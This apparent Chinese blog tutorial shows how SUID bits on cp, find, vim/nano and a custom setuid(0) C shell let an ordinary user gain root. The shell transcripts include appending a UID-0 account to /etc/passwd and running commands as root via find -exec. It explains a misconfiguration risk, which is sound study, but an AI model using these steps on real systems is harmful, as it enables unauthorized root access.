我之前写过一篇 文件权限与ACL 的文章,提到过了权限也提到了s权限位。对s权限没有了解的可以先看下这篇内容。本篇要提到的为root用户的suid,具体可以看下passwd命令对应的权限。如果一些命令给了s权限位以后,是可以进行提权操作。可使用如下命令以root用户执行查看当前具有s权限位的文件:
find / -perm -u=s -type f 2>/dev/null
一、cp suid 示例
给 cp命令suid:
[root@361way ~]# whereis cp
cp: /usr/bin/cp /bin/cp /usr/share/man/man1/cp.1.gz /usr/share/man/man1p/cp.1p.gz
[root@361way ~]# ll /usr/bin/cp
-rwxr-xr-x 1 root root 151136 Aug 6 2016 /usr/bin/cp
[root@361way ~]# chmod u+s /bin/cp
普通用户提权:
[zabbix@localhost ~]$ cat /etc/passwd >passwd
[zabbix@localhost ~]$ openssl passwd -1 -salt hack hack123
$1$hack$WTn0dk2QjNeKfl.DHOUue0
[zabbix@localhost ~]$ echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash' >> passwd
[zabbix@localhost ~]$ cp passwd /etc/passwd
[zabbix@localhost ~]$ su - hack
Password:
[root@361way ~]# id
uid=0(hack) gid=0(root) groups=0(root)
[root@361way ~]# cat /etc/passwd|tail -1
hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash
同样的给awk、sed这类具有写文件权限的命令以suid权限,都可以造成提权。
二、find suid
给find命令提权后,可以利用其exec参数以root权限执行任意命令:
[root@361way ~]# which find
/usr/bin/find
[root@361way ~]# ll /usr/bin/find
-rwxr-xr-x. 1 root root 199200 Nov 20 2015 /usr/bin/find
[root@361way ~]# chmod u+s /usr/bin/find
[root@361way ~]# su - zabbix
[zabbix@361way ~]$ ll
total 8720
-rw-r--r-- 1 zabbix zabbix 3006 Jan 2 15:00 passwd
-rw-r--r-- 1 tcpdump tcpdump 8924686 Dec 13 16:56 test.cap
[zabbix@361way ~]$ find passwd -exec "whoami" \;
root
[zabbix@361way ~]$ find ./ -name "passwd" -exec "id" \;
uid=1003(zabbix) gid=1003(zabbix) euid=0(root) groups=1003(zabbix)
三、编辑器suid权限
linux下常用的编辑器有vim、Emacs、nano 。这里以vim和nano为例吧。
[root@361way tmp]# which vim
/usr/bin/vim
[root@361way tmp]# ll /usr/bin/vim
-rwxr-xr-x 1 root root 2294256 Apr 11 2018 /usr/bin/vim
[root@361way tmp]# chmod u+s /usr/bin/vim
[root@361way tmp]# su - zabbix
[zabbix@361way ~]$ vim /etc/passwd
[zabbix@361way ~]$ vim etc/sudoers
给vim suid权限后,意味着任一用户可以以root权限编辑任一文件,linux下本来一切皆文件,实际造成的结果是我们可以为所欲为,修改/etc/passwd,将一个用户提升为root权限,或者新增一个用户,或者修改sudo权限,增加nopasswd all的权限。
nano的效果也是一样的。
四、自定义命令 suid权限
如下一个自定义的C程序,代码如下:
[root@361way tmp]# cat a.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
setuid(0);
system("/bin/bash");
return 0;
}
执行如下命令进行编译并授权后,直接可以切换root权限:
[root@361way tmp]# gcc -o a a.c
[root@361way tmp]# chmod u+s a
[root@361way tmp]# su - zabbix
[zabbix@361way tmp]$ ./a
[root@361way tmp]# id
uid=0(root) gid=0(root) groups=0(root)